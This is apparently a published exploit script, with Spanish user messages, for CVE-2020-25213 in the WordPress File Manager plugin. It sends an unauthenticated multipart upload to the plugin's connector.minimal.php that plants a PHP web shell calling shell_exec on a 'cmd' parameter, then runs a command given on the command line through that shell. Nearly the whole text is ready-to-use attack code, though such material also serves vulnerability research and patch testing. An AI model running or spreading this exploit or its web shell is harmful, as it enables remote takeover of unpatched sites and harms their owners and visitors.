WP-file-manager v6.9 - Unauthenticated Arbitrary File Upload leading to RCE

#!/usr/bin/env

# Exploit Title: WP-file-manager v6.9 - Unauthenticated Arbitrary File Upload leading to RCE
# Date: [ 22-01-2023 ]
# Exploit Author: [BLY]
# Vendor Homepage: [https://wpscan.com/vulnerability/10389]
# Version: [ File Manager plugin 6.0-6.9]
# Tested on: [ Debian ]
# CVE : [ CVE-2020-25213 ]

import sys,signal,time,requests
from bs4 import BeautifulSoup
#from pprint import pprint

def handler(sig,frame):
	print ("[!]Saliendo")
	sys.exit(1)

signal.signal(signal.SIGINT,handler)

def commandexec(command):

	exec_url = url+"/wp-content/plugins/wp-file-manager/lib/php/../files/shell.php"
	params = {
		"cmd":command
	}

	r=requests.get(exec_url,params=params)

	soup = BeautifulSoup(r.text, 'html.parser')
	text = soup.get_text()

	print (text)
def exploit():

	global url

	url = sys.argv[1]
	command = sys.argv[2]
	upload_url = url+"/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

	headers = {
			'content-type': "multipart/form-data; boundary=----WebKitFormBoundaryvToPIGAB0m9SB1Ww",
			'Connection': "close" 
	}

	payload = "------WebKitFormBoundaryvToPIGAB0m9SB1Ww\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n------WebKitFormBoundaryvToPIGAB0m9SB1Ww\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n------WebKitFormBoundaryvToPIGAB0m9SB1Ww\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php echo \"<pre>\" . shell_exec($_REQUEST['cmd']) . \"</pre>\"; ?>\r\n------WebKitFormBoundaryvToPIGAB0m9SB1Ww--"

	try:
		r=requests.post(upload_url,data=payload,headers=headers)
		#pprint(r.json())
		commandexec(command)
	except:
		print("[!] Algo ha salido mal...")




def help():

	print ("\n[*] Uso: python3",sys.argv[0],"\"url\" \"comando\"")
	print ("[!] Ejemplo: python3",sys.argv[0],"http://wordpress.local/ id")




if __name__ == '__main__':

	if len(sys.argv) != 3:
		help()

	else:
		exploit()